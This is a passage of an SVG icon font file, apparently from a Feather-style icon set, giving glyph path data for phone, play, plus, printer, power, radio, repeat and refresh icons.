q31.7194 -49.6405 89.3489 -107.145t107.339 -89.116l30.8898 30.8471q15.5699 15.3659 42.0711 26.2408t48.3766 10.8749q23.3348 0 45.1857 -8.1886q53.8301 -20.0582 111.485 -27.6898q45.8113 -6.42662 78.2334 -43.7144t32.4221 -83.5477
q0 -1.24219 -0.0239868 -2.48343v-127.783v0.000256777z" />
    <glyph glyph-name="phone-off" unicode="&#xe8a8;" 
d="M485.596 358.023q-12.5742 13.0189 -30.6739 13.0189q-17.6549 0 -30.1498 -12.4949t-12.4949 -30.1498q0 -18.0997 13.0189 -30.6739q28.6853 -28.7058 73.9543 -63.2168q45.269 -34.511 80.5477 -54.5681q9.80035 -5.5706 21.0733 -5.5706q17.6546 0 30.1431 12.4791
l54.1589 54.1589q12.4061 12.1352 29.7603 12.1352q7.78143 0 15.0594 -2.75339q62.9324 -23.4391 129.256 -32.1542q15.0259 -2.23634 25.66 -14.5704q10.6342 -12.3341 10.6342 -27.5254l-0.00354004 -0.548965v-128.318l0.000732422 -0.250465
q0 -17.6903 -12.5199 -30.2102t-30.2102 -12.5199q-1.88043 0 -3.75348 0.165175q-78.2828 8.56672 -180.441 44.9644q-102.159 36.3977 -168.222 79.2598q-73.6212 46.7335 -135.056 108.232q-12.5741 13.019 -30.6739 13.019q-17.655 0 -30.1499 -12.4949
t-12.4949 -30.1499q0 -18.0998 13.019 -30.6739q28.1657 -28.195 71.9106 -63.2684t77.3889 -56.4356q73.201 -47.4355 186.38 -87.6692t199.896 -49.647q6.1272 -0.590988 12.2828 -0.590988q52.9648 0 90.4496 37.4848t37.4848 90.4496l-0.000976562 0.505726v127.764
l0.003479 0.944183q0 45.9985 -32.2379 83.0816q-32.2379 37.0832 -77.7891 43.4821q-57.006 7.49487 -110.876 27.5912q-21.7225 8.14615 -44.9221 8.14615q-21.7679 0 -48.1273 -10.8334q-26.3593 -10.8334 -41.8361 -26.1406l-30.7469 -30.7469
q-59.1358 37.6888 -108.702 87.294zM257.105 372.394q-42.9389 66.211 -79.3616 168.594q-36.4227 102.383 -44.948 180.837q-0.110672 1.53308 -0.110672 3.07043q0 17.6478 12.4899 30.1426t30.1377 12.5021h127.892q16.3447 0.159546 28.5864 -10.2944
q12.2417 -10.454 14.4848 -26.3801q8.68729 -66.0232 32.1115 -128.787q2.76212 -7.29633 2.76212 -15.098q0 -17.5182 -12.3145 -29.9776l-53.9883 -53.9883q-11.9709 -12.3944 -11.9709 -29.6259q0 -17.6549 12.4949 -30.1499t30.1499 -12.4949q17.2314 0 29.6259 11.9709
l54.1589 54.1589q15.3816 15.4986 26.2676 41.9213q10.886 26.4227 10.886 48.2585q0 23.2205 -8.15515 44.9615q-20.0546 53.6176 -27.5912 110.365q-6.3472 45.7106 -43.5005 78.0615q-37.1533 32.3508 -83.3026 32.3508l-1.13132 -0.00500488h-127.508
q-52.9326 -0.0321655 -90.3946 -37.517t-37.462 -90.4174q0 -5.76874 0.519192 -11.5142q9.39055 -86.9723 49.7117 -200.476q40.3211 -113.504 87.9031 -186.909q5.23988 -7.87357 15.6418 -13.4459q10.402 -5.57233 19.8597 -5.57233q17.655 0 30.1499 12.4949
q12.4949 12.4949 12.4949 30.1499q0 12.3386 -6.58841 22.7709zM950.68 882.98l-938.185 -938.185q-11.9709 -12.3944 -11.9709 -29.6259q0 -17.6549 12.4949 -30.1499q12.4949 -12.495 30.1499 -12.4949q17.2315 0 29.6259 11.9709l938.185 938.185
q13.0189 12.5742 13.0189 30.6738q0 17.6549 -12.4949 30.1498t-30.1498 12.4949q-18.0997 0 -30.6741 -13.0187z" />
    <glyph glyph-name="phone-incoming" unicode="&#xe8a9;" 
d="M725.312 768.004q0 17.6635 -12.501 30.1644t-30.1644 12.501q-17.6635 0 -30.1645 -12.5009q-12.501 -12.501 -12.501 -30.1645v-255.993v0q0 -17.6635 12.501 -30.1645t30.1644 -12.501h255.993q17.6635 0 30.1644 12.501t12.501 30.1645q0 17.6635 -12.501 30.1644
t-30.1644 12.501h-213.327zM951.14 840.834l-298.658 -298.658q-13.0253 -12.5803 -13.0253 -30.6887q0 -17.6635 12.501 -30.1645t30.1645 -12.501q18.1085 0 30.6887 13.0252l298.658 298.658q13.0251 12.5801 13.0251 30.6887q0 17.6635 -12.501 30.1644t-30.1644 12.501
q-18.1085 0 -30.6886 -13.0251zM895.547 129.174q0.0419312 0.950302 0.0419312 1.89935q0 15.3121 -10.7131 27.7816t-25.8504 14.7764q-66.8124 8.80495 -129.959 32.3404q-7.3114 2.75952 -15.1261 2.75952q-17.4814 0 -29.9713 -12.2312l-54.4411 -54.3557
q-10.234 -10.2339 -24.5859 -12.165t-26.9539 5.21051q-72.1184 40.9277 -152.212 120.884q-80.0937 79.9562 -121.145 152.004q-5.61423 9.84479 -5.61423 21.1779q0 17.7471 12.5687 30.2766l54.2704 54.1851q19.3402 19.5504 9.6424 45.2253
q-23.5346 62.9727 -32.2977 129.276q-2.27481 16.0198 -14.5768 26.4999t-28.7286 10.3204h-128.636q-17.7267 -0.0426025 -30.2724 -12.6186q-12.5457 -12.5759 -12.5457 -30.3027q0 -1.53796 0.110077 -3.07208q8.43939 -79.2051 45.1172 -182.538t80.0631 -170.134
q39.3431 -61.7797 110.974 -133.248q71.6304 -71.4679 133.499 -110.671q66.4481 -43.0234 169.168 -79.5512t181.413 -45.1171q1.89514 -0.168346 3.79773 -0.168346q17.7695 0 30.3455 12.576q12.576 12.576 12.576 30.3454l-0.000549316 0.21101v128.423z
M981.305 0.922106l0.000915527 -0.476757q0 -23.3956 -12.2137 -51.1331q-12.2137 -27.7375 -29.4714 -43.534q-15.3181 -13.9823 -40.8375 -23.878q-25.5193 -9.89572 -46.2593 -9.89572q-6.12805 0 -12.2283 0.580025q-87.1865 9.43269 -201.008 49.8108t-187.461 87.9985
q-68.3899 43.3679 -147.584 122.399q-79.1936 79.0311 -122.702 147.332q-48.0018 73.9869 -88.5424 188.421t-49.8215 202.138q-0.520092 5.75861 -0.520092 11.5403q0 20.6276 9.85313 45.9985q9.85312 25.3709 23.7753 40.5916q15.8372 17.3134 43.6518 29.5768
q27.8146 12.2634 51.2788 12.2779h128.295l1.241 0.00598145q46.3391 0 83.6785 -32.4793q37.3393 -32.4792 43.7595 -78.3715q7.59998 -57.1935 27.6472 -110.802q13.2666 -35.1799 5.38651 -71.9979t-34.4843 -63.6781l-30.7618 -30.7191
q31.7194 -49.6405 89.3489 -107.145t107.339 -89.116l30.8898 30.8471q15.5699 15.3659 42.0711 26.2408t48.3766 10.8749q23.3348 0 45.1857 -8.1886q53.8301 -20.0582 111.485 -27.6898q45.8113 -6.42662 78.2334 -43.7144t32.4221 -83.5477
q0 -1.24219 -0.0239868 -2.48343v-127.783v0.000256777z" />
    <glyph glyph-name="phone" unicode="&#xe8aa;" 
d="M895.573 171.819q0.0419312 0.949554 0.0419312 1.8994q0 15.3125 -10.7134 27.7824t-25.8512 14.7769q-66.8141 8.80516 -129.963 32.3413q-7.31165 2.75961 -15.1266 2.75961q-17.4819 0 -29.9721 -12.2316l-54.4427 -54.3573q-10.2343 -10.2343 -24.5867 -12.1653
t-26.9547 5.21066q-72.1205 40.9289 -152.217 120.887q-80.096 79.9585 -121.149 152.009q-5.61438 9.84503 -5.61438 21.1786q0 17.7476 12.5691 30.2774l54.272 54.1867q19.3409 19.551 9.64267 45.2267q-23.5353 62.9744 -32.2987 129.28
q-2.2749 16.0204 -14.5772 26.5008q-12.3023 10.4803 -28.7294 10.3206h-128.64q-17.7272 -0.0426636 -30.2733 -12.619t-12.5461 -30.3036q0 -1.5379 0.110077 -3.07214q8.43962 -79.2075 45.1185 -182.544q36.6789 -103.336 80.0655 -170.139
q39.3441 -61.7815 110.977 -133.252q71.6327 -71.4701 133.503 -110.674q66.45 -43.0247 169.173 -79.5535q102.723 -36.5289 181.419 -45.1185q1.8952 -0.16835 3.79785 -0.16835q17.77 0 30.3463 12.5763t12.5764 30.3463l-0.000549316 0.211014v128.427zM981.333 43.5627
l0.000915527 -0.476772q0 -23.3963 -12.2141 -51.1346q-12.2141 -27.7383 -29.4722 -43.5353q-15.3186 -13.9827 -40.8387 -23.8787q-25.5201 -9.89599 -46.2606 -9.89599q-6.12799 0 -12.2287 0.580048q-87.1891 9.43297 -201.014 49.8123
q-113.825 40.3793 -187.466 88.001q-68.3918 43.3692 -147.588 122.403q-79.196 79.0335 -122.706 147.336q-48.0032 73.9891 -88.545 188.426q-40.5418 114.437 -49.823 202.144q-0.520107 5.75867 -0.520107 11.5407q0 20.6282 9.85343 45.9998t23.776 40.5928
q15.8376 17.3138 43.6531 29.5776q27.8155 12.2638 51.2803 12.2784h128.299l1.24106 0.00598145q46.3405 0 83.6808 -32.4802q37.3404 -32.4802 43.7608 -78.3738q7.60028 -57.1952 27.648 -110.805q13.267 -35.1808 5.38666 -72t-34.4853 -63.68l-30.7627 -30.72
q31.7202 -49.642 89.3513 -107.148t107.342 -89.1185l30.8907 30.848q15.5703 15.3664 42.0723 26.2416t48.3781 10.8752q23.3354 0 45.187 -8.18884q53.8318 -20.0587 111.488 -27.6907q45.8127 -6.42676 78.2357 -43.7157q32.423 -37.2889 32.423 -83.5502
q0 -1.23907 -0.0240479 -2.48349z" />
    <glyph glyph-name="phone-outgoing" unicode="&#xe8ab;" 
d="M938.639 768.004v-213.327q0 -17.6635 12.501 -30.1644t30.1644 -12.501t30.1644 12.501q12.501 12.5009 12.501 30.1644v255.992v0q0 17.6635 -12.501 30.1644t-30.1644 12.501h-255.993q-17.6635 0 -30.1644 -12.501t-12.501 -30.1644t12.501 -30.1645
q12.501 -12.501 30.1644 -12.501zM712.811 481.847l298.658 298.658q13.0251 12.5801 13.0251 30.6887q0 17.6635 -12.501 30.1644t-30.1644 12.501q-18.1085 0 -30.6887 -13.0252l-298.658 -298.658q-13.0253 -12.5803 -13.0253 -30.6887q0 -17.6635 12.501 -30.1645
t30.1645 -12.501q18.1085 0 30.6888 13.0253zM895.974 131.436q0.413269 16.9133 -9.98529 29.4938t-26.2803 14.8356q-66.5098 8.76057 -129.362 32.2124q-7.25348 2.73123 -15.0044 2.73123q-17.3787 0 -29.7943 -12.1603l-54.1851 -54.1851
q-12.4971 -12.5006 -30.1732 -12.5006q-11.295 0 -21.1107 5.58876q-71.786 40.8187 -151.48 120.512q-79.6937 79.6937 -120.512 151.48q-5.5733 9.80511 -5.5733 21.0835q0 17.6632 12.4851 30.1577l54.0144 54.0144q12.3205 12.4655 12.3205 29.9921
q0 7.80542 -2.76343 15.1053q-23.3663 62.6039 -32.1271 128.85q-2.18619 15.1932 -14.5968 25.9459q-12.4106 10.7527 -27.7603 10.7527l-0.734924 -0.00628662h-127.996q-17.6413 -0.0222778 -30.1265 -12.5231q-12.4852 -12.5009 -12.4852 -30.1423
q0 -1.58093 0.116974 -3.15729q8.39191 -78.9384 44.8947 -181.946t79.6883 -169.617q39.1193 -61.5418 110.375 -132.76t132.818 -110.305q66.0959 -42.8829 168.304 -79.2982q102.208 -36.4153 180.529 -44.9862q1.91669 -0.173271 3.84125 -0.173271
q17.6635 0 30.1645 12.501t12.501 30.1645l-0.00140381 0.343955zM981.305 0.922111l0.000915527 -0.476757q0 -23.3956 -12.2137 -51.1331q-12.2138 -27.7375 -29.4713 -43.5341q-15.3181 -13.9823 -40.8374 -23.878t-46.2594 -9.8957q-6.12799 0 -12.2283 0.580025
q-87.1865 9.43269 -201.008 49.8108q-113.821 40.3781 -187.461 87.9985q-68.3899 43.3679 -147.584 122.399q-79.1936 79.0311 -122.702 147.332q-48.0018 73.9869 -88.5424 188.421q-40.5406 114.434 -49.8215 202.138q-0.520092 5.75861 -0.520092 11.5403
q0 20.6276 9.85313 45.9985q9.85312 25.3709 23.7753 40.5916q15.8371 17.3132 43.6518 29.5767q27.8147 12.2634 51.2787 12.278h128.295l1.241 0.00598145q46.3391 0 83.6785 -32.4793q37.3393 -32.4792 43.7595 -78.3715q7.59998 -57.1935 27.6472 -110.802
q13.2666 -35.1799 5.38651 -71.9979t-34.4843 -63.6781l-30.7618 -30.7191q31.7194 -49.6405 89.3489 -107.145t107.339 -89.116l30.8898 30.8471q15.5699 15.3659 42.0711 26.2408t48.3766 10.8749q23.3348 0 45.1857 -8.1886q53.8301 -20.0582 111.485 -27.6898
q45.8113 -6.42662 78.2334 -43.7144t32.4221 -83.5477q0 -1.24219 -0.0239868 -2.48343v-127.783v9.53674e-05z" />
    <glyph glyph-name="pie-chart" unicode="&#xe8ac;" 
d="M865.664 234.667q-41.0269 -97.1033 -144.668 -165.826q-103.641 -68.7229 -209.056 -68.7229q-104.256 0 -192.72 51.408q-88.4642 51.408 -139.872 139.872q-51.408 88.4641 -51.408 192.72q0 104.093 67.5247 207.22q67.5247 103.127 162.935 144.748
q10.6063 4.62646 18.1126 16.0902q7.50635 11.4637 7.50635 23.0351q0 17.6718 -12.5069 30.1788q-12.5069 12.5069 -30.1787 12.5069q-8.90457 0 -17.0667 -3.5603q-116.59 -50.8781 -199.105 -176.915q-82.5143 -126.037 -82.5143 -253.245q0 -95.4328 37.1879 -182.343
q37.1879 -86.91 100.04 -149.762q62.8524 -62.8524 149.762 -100.04q86.91 -37.1879 182.343 -37.1879q128.799 0 255.455 83.9572t176.819 202.586q3.02325 7.59767 3.02325 15.7747q0 17.664 -12.5014 30.1653q-12.5013 12.5013 -30.1653 12.5013
q-11.45 0 -22.8618 -7.39728t-16.0867 -17.8494zM981.333 384q0 -17.664 -12.5013 -30.1653t-30.1654 -12.5013h-426.667v0q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v426.667q0 17.664 12.5013 30.1653t30.1653 12.5013v0q95.4329 -6.10352e-05 182.343 -37.1879
q86.9099 -37.1877 149.762 -100.04q62.8525 -62.8525 100.04 -149.762q37.1878 -86.9099 37.1887 -182.344zM783.531 655.531q-39.3907 39.3863 -106.448 71.6397t-122.416 38.4403v-338.944h338.944q-6.18689 55.3591 -38.4403 122.416t-71.6396 106.448z" />
    <glyph glyph-name="play-circle" unicode="&#xe8ad;" 
d="M512 -85.3333q-95.4834 0 -182.397 37.1694t-149.756 100.011t-100.011 149.756q-37.1694 86.9139 -37.1694 182.397q0 95.4834 37.1694 182.397q37.1694 86.9138 100.011 149.755q62.8417 62.8417 149.756 100.011q86.9138 37.1694 182.397 37.1694
q95.4833 0 182.397 -37.1694t149.756 -100.011q62.8417 -62.8417 100.011 -149.755t37.1694 -182.397q0 -95.4833 -37.1694 -182.397t-100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.398 -37.1694zM512 -2.87646e-06
q104.256 0 192.72 51.408q88.4642 51.408 139.872 139.872q51.408 88.4641 51.408 192.72q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5q0 -104.256 51.4079 -192.72q51.4079 -88.4642 139.872 -139.872t192.72 -51.408zM469.333 293.077l136.405 90.9227
l-136.405 90.9227zM450.347 590.165l256 -170.667q7.86432 -5.24399 13.4303 -15.6451q5.56592 -10.4012 5.56592 -19.8535t-5.56586 -19.8535t-13.4304 -15.6451l-256 -170.667q-10.7532 -7.17439 -23.68 -7.17439q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v0.00637817
v341.333v0.00640869q0 17.6639 12.5013 30.1653q12.5014 12.5013 30.1653 12.5013q12.9268 0 23.6801 -7.17334z" />
    <glyph glyph-name="play" unicode="&#xe8ae;" 
d="M256 78.1653l475.733 305.835l-475.733 305.835zM236.373 803.925l597.333 -384q8.12079 -5.21378 13.8683 -15.7336q5.74744 -10.5199 5.74744 -20.1703q0 -9.65042 -5.74744 -20.1703q-5.74738 -10.52 -13.8683 -15.7337l-597.333 -384
q-10.5296 -6.75563 -23.04 -6.75563q-17.6522 0 -30.1536 12.493q-12.5013 12.493 -12.5131 30.1453v768q0.0117493 17.6523 12.5131 30.1453q12.5013 12.493 30.1536 12.493q12.5105 0 23.04 -6.75562v0.0425415z" />
    <glyph glyph-name="plus-square" unicode="&#xe8af;" 
d="M170.667 682.88v-597.76q0 -17.6 12.4267 -30.0267t30.0267 -12.4267h597.76q17.6 0 30.0267 12.4267q12.4266 12.4267 12.4266 30.0267v597.76q0 17.5756 -12.4388 30.0145t-30.0145 12.4388h-597.76q-17.5757 0 -30.0145 -12.4388t-12.4389 -30.0145zM85.3333 682.88
q0 52.9037 37.4415 90.3452t90.3452 37.4415h597.76q52.9037 0 90.3452 -37.4415t37.4415 -90.3452v-597.76v0q0 -52.9037 -37.4415 -90.3452t-90.3452 -37.4415h-597.76q-52.9037 3.8147e-06 -90.3452 37.4415t-37.4415 90.3452zM469.333 554.667v-341.333
q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v341.333q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653zM341.333 341.333h341.333q17.664 0 30.1653 12.5013t12.5013 30.1653
t-12.5013 30.1653t-30.1653 12.5013h-341.333q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013z" />
    <glyph glyph-name="plus-circle" unicode="&#xe8b0;" 
d="M512 -85.3333q-95.4834 0 -182.397 37.1694t-149.756 100.011t-100.011 149.756q-37.1694 86.9139 -37.1694 182.397q0 95.4834 37.1694 182.397q37.1694 86.9138 100.011 149.755q62.8417 62.8417 149.756 100.011q86.9138 37.1694 182.397 37.1694
q95.4833 0 182.397 -37.1694t149.756 -100.011q62.8417 -62.8417 100.011 -149.755t37.1694 -182.397q0 -95.4833 -37.1694 -182.397t-100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.398 -37.1694zM512 -2.87646e-06
q104.256 0 192.72 51.408q88.4642 51.408 139.872 139.872q51.408 88.4641 51.408 192.72q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5q0 -104.256 51.4079 -192.72q51.4079 -88.4642 139.872 -139.872t192.72 -51.408zM469.333 554.667v-341.333
q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v341.333q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653zM341.333 341.333h341.333q17.664 0 30.1653 12.5013t12.5013 30.1653
t-12.5013 30.1653t-30.1653 12.5013h-341.333q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013z" />
    <glyph glyph-name="plus" unicode="&#xe8b1;" 
d="M469.333 682.667v-597.333q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013t30.1653 12.5013q12.5013 12.5013 12.5013 30.1653v597.333q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653z
M213.333 341.333h597.333q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-597.333q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013z" />
    <glyph glyph-name="pocket" unicode="&#xe8b2;" 
d="M128 682.667v-256q0 -104.256 51.4079 -192.72t139.872 -139.872t192.72 -51.4079q104.256 0 192.72 51.408q88.4641 51.408 139.872 139.872q51.408 88.4641 51.408 192.72v256q0 17.664 -12.5013 30.1653t-30.1653 12.5013h-682.667q-17.664 0 -30.1653 -12.5013
q-12.5013 -12.5014 -12.5011 -30.1654zM853.333 810.667q52.9921 0 90.496 -37.504t37.504 -90.496v-256q0 -95.4833 -37.1694 -182.397q-37.1694 -86.9139 -100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011t-182.397 -37.1694
q-95.4328 7.62939e-06 -182.343 37.1879q-86.91 37.1879 -149.762 100.04q-62.8524 62.8524 -100.04 149.762q-37.1879 86.91 -37.1879 182.343v256q0 52.992 37.504 90.496q37.504 37.504 90.496 37.504zM371.499 499.499q-12.5806 13.0256 -30.6896 13.0256
q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -18.1091 13.0256 -30.6896l170.667 -170.667q12.496 -12.4922 30.1653 -12.4922t30.1653 12.4922l170.667 170.667q13.0256 12.5806 13.0256 30.6896q0 17.664 -12.5013 30.1653t-30.1653 12.5013
q-18.1091 0 -30.6896 -13.0256l-140.501 -140.501z" />
    <glyph glyph-name="printer" unicode="&#xe8b3;" 
d="M298.667 554.667h426.667v213.333h-426.667v-213.333zM213.333 554.667v256q0 17.6639 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013h512q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-256h42.6667q52.992 0 90.496 -37.504q37.504 -37.504 37.504 -90.496
v-213.333q0 -52.992 -37.504 -90.496t-90.496 -37.504h-85.3333q-17.664 0 -30.1653 12.5013t-12.5013 30.1653t12.5013 30.1653t30.1653 12.5013h85.3333q17.664 0 30.1653 12.5013t12.5013 30.1653v213.333q0 17.664 -12.5014 30.1653q-12.5013 12.5013 -30.1653 12.5013
h-682.667q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653v-213.333q0 -17.664 12.5013 -30.1653t30.1653 -12.5013h85.3333q17.664 0 30.1653 -12.5013t12.5013 -30.1653t-12.5013 -30.1653t-30.1653 -12.5013h-85.3333q-52.992 0 -90.496 37.504
q-37.504 37.504 -37.504 90.496v213.333q0 52.992 37.504 90.496q37.504 37.504 90.496 37.504h42.6673zM298.667 0h426.667v256h-426.667v-256zM256 341.333h512q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-341.333q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013h-512
q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v341.333q0 17.664 12.5013 30.1653t30.1653 12.5013z" />
    <glyph glyph-name="power" unicode="&#xe8b4;" 
d="M753.408 582.528q41.369 -41.3859 70.6472 -112.09q29.2782 -70.7039 29.2782 -129.22q0 -92.6718 -45.6959 -171.307q-45.696 -78.6348 -124.331 -124.331q-78.6348 -45.696 -171.307 -45.696q-92.6718 0 -171.307 45.6959q-78.6348 45.6959 -124.331 124.331
q-45.6962 78.6351 -45.696 171.307q0 58.5165 29.2781 129.22q29.2781 70.7039 70.6472 112.09q13.0256 12.5805 13.0256 30.6896q0 17.6639 -12.5013 30.1653t-30.1653 12.5014q-18.109 0 -30.6896 -13.0256q-81.9497 -81.9706 -111.064 -191.841t0.0198212 -219.723
q29.1343 -109.853 111.087 -191.784q61.3764 -61.3764 141.14 -93.3521t160.556 -31.9757q80.7924 -1.52588e-05 160.556 31.9757q79.7637 31.9758 141.14 93.3521q81.9527 81.9317 111.087 191.784q29.1343 109.853 0.0198364 219.723t-111.064 191.841
q-12.5806 13.0256 -30.6896 13.0256q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -18.1091 13.0263 -30.6896zM469.333 810.667v-426.667q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v426.667q0 17.664 -12.5013 30.1653
t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653z" />
    <glyph glyph-name="radio" unicode="&#xe8b5;" 
d="M512 256q-53 0 -90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5t-37.5 -90.5t-90.5 -37.5zM512 341.333q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653
t12.5013 -30.1654q12.5013 -12.5013 30.1653 -12.5012zM662.741 534.741q25.903 -25.8743 44.2354 -70.0978t18.3324 -80.8355t-18.3324 -80.8356q-18.3324 -44.2235 -44.2354 -70.0977q-12.5099 -12.5011 -12.5099 -30.1867q0 -17.6676 12.5038 -30.1715
q12.5039 -12.5039 30.1714 -12.5039q17.6678 0 30.1653 12.4886q36.2643 36.224 61.9297 98.1368q25.6653 61.9129 25.6653 113.17q0 51.2569 -25.6653 113.17q-25.6653 61.9131 -61.9296 98.1369q-12.4975 12.4886 -30.1653 12.4886q-17.6676 0 -30.1714 -12.5038
t-12.5038 -30.1714q0 -17.6856 12.5098 -30.187zM361.259 233.259q-25.9031 25.8743 -44.2354 70.0977t-18.3324 80.8356q0 36.6122 18.3324 80.8356t44.2354 70.0977q12.51 12.5011 12.51 30.1866q0 17.6675 -12.5039 30.1714t-30.1714 12.5039
q-17.6679 0 -30.1653 -12.4886q-36.2643 -36.2239 -61.9296 -98.1368q-25.6653 -61.9129 -25.6653 -113.17t25.6653 -113.17q25.6653 -61.9128 61.9296 -98.1368q12.4975 -12.4886 30.1653 -12.4886q17.6675 0 30.1714 12.5039q12.5039 12.5039 12.5039 30.1714
q0 17.6855 -12.51 30.187zM783.488 655.488q46.546 -46.5601 79.488 -126.106q32.942 -79.546 32.942 -145.382q0 -65.8359 -32.942 -145.382q-32.942 -79.546 -79.488 -126.106q-13.0256 -12.5806 -13.0256 -30.6896q0 -17.664 12.5013 -30.1653t30.1653 -12.5013
q18.1091 0 30.6896 13.0256q90.1147 90.1356 122.14 210.977q32.0258 120.842 0 241.683q-32.0259 120.842 -122.14 210.977q-12.5805 13.0256 -30.6896 13.0256q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -18.109 13.0256 -30.6894zM240.512 112.512
q-46.546 46.5601 -79.488 126.106q-32.942 79.546 -32.942 145.382t32.942 145.382t79.488 126.106q11.977 12.4008 11.977 29.6411q0 17.664 -12.5013 30.1653t-30.1653 12.5013q-17.2403 0 -29.641 -11.977q-67.4906 -67.5064 -102.652 -155.233t-35.1609 -176.585
q-7.62939e-06 -88.8584 35.1609 -176.585q35.1609 -87.727 102.652 -155.233q12.5806 -13.0256 30.6896 -13.0256q17.664 0 30.1653 12.5013q12.5013 12.5013 12.5013 30.1653q0 18.1091 -13.0256 30.6882z" />
    <glyph glyph-name="repeat" unicode="&#xe8b6;" 
d="M695.074 542.347q-13.019 -12.5742 -13.019 -30.6739q0 -17.6549 12.4949 -30.1498t30.1498 -12.4949q18.0998 0 30.6739 13.019l170.579 170.579q12.4858 12.4894 12.4858 30.1498q0 17.6603 -12.4858 30.1498l-170.579 170.579q-12.3944 11.9709 -29.6258 11.9709
q-17.6549 0 -30.1498 -12.4949t-12.4949 -30.1498q0 -17.2314 11.9709 -29.6258l140.429 -140.429zM170.842 426.907v85.2896q0 52.9648 37.4847 90.4496q37.4848 37.4847 90.4496 37.4847h597.027q17.6522 0.00274658 30.1452 12.4976t12.493 30.1472t-12.493 30.1472
t-30.1452 12.4976h-597.027v0q-88.2747 0 -150.749 -62.4746q-62.4746 -62.4746 -62.4746 -150.749v-85.2896q0 -17.6549 12.4949 -30.1498t30.1498 -12.4949q17.6549 0 30.1498 12.4949q12.4949 12.4949 12.4948 30.1495zM328.926 226.179q11.9709 12.3943 11.9709 29.6258
q0 17.6549 -12.4949 30.1498t-30.1498 12.4949q-17.2314 0 -29.6258 -11.9709l-170.579 -170.579q-12.4858 -12.4896 -12.4858 -30.1499t12.4858 -30.1499l170.579 -170.579q12.5741 -13.019 30.6739 -13.019q17.6549 0 30.1499 12.4949q12.4949 12.4949 12.4949 30.1499
q0 18.0998 -13.019 30.6739l-140.429 140.429zM853.158 341.618v-85.2896q0 -52.9648 -37.4847 -90.4496q-37.4847 -37.4847 -90.4496 -37.4847h-597.027q-17.6549 0 -30.1499 -12.4949t-12.4949 -30.1499t12.4949 -30.1499t30.1499 -12.4949h597.027v0
q88.2747 0 150.749 62.4746q62.4743 62.4746 62.4746 150.749v85.2896q0 17.6549 -12.4949 30.1498t-30.1498 12.4949t-30.1498 -12.4949t-12.4949 -30.1495z" />
    <glyph glyph-name="refresh-ccw" unicode="&#xe8b7;" 
d="M85.379 725.333q0 17.664 -12.5013 30.1653q-12.5013 12.5013 -30.1653 12.5013q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653v-256q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013h256q17.6613 0.00271606 30.1607 12.504
q12.4994 12.5013 12.4994 30.1626t-12.4994 30.1627t-30.1607 12.504h-213.333zM938.712 42.6667q0.00268555 -17.6613 12.504 -30.1607q12.5013 -12.4994 30.1627 -12.4994q17.6614 0 30.1627 12.4994q12.5013 12.4994 12.504 30.1608v256q0 17.664 -12.5013 30.1653
t-30.1653 12.5013h-256q-17.6612 -0.00271606 -30.1607 -12.504q-12.4995 -12.5013 -12.4995 -30.1626t12.4995 -30.1626q12.4994 -12.5014 30.1607 -12.504h213.333zM914.52 526.251q-41.6568 117.709 -159.508 201.016q-117.851 83.3063 -242.714 83.3063
q-73.1939 0 -161.615 -36.6388q-88.421 -36.6388 -140.163 -88.4083l-197.035 -185.088q-13.4542 -12.6421 -13.4542 -31.104q0 -17.6699 12.5055 -30.1754q12.5055 -12.5055 30.1754 -12.5055q16.9062 0 29.2267 11.5769l197.973 186.027q41.5212 41.788 112.599 71.3627
q71.0775 29.5746 129.986 29.5746q38.0198 0 75.1111 -8.35065q76.0327 -17.2101 148.24 -81.4045q72.2077 -64.1944 98.2024 -137.689q4.16931 -11.7713 15.958 -20.1022q11.7888 -8.33093 24.2767 -8.33093q17.6711 0 30.1775 12.5063t12.5063 30.1775
q0 7.33575 -2.44836 14.2501zM952.152 329.771l-197.973 -186.027q-41.5212 -41.7881 -112.599 -71.3627t-129.986 -29.5746q-38.0198 0 -75.1111 8.35068q-76.0327 17.2102 -148.24 81.4045q-72.2077 64.1944 -98.2023 137.689q-4.1693 11.7713 -15.9581 20.1022
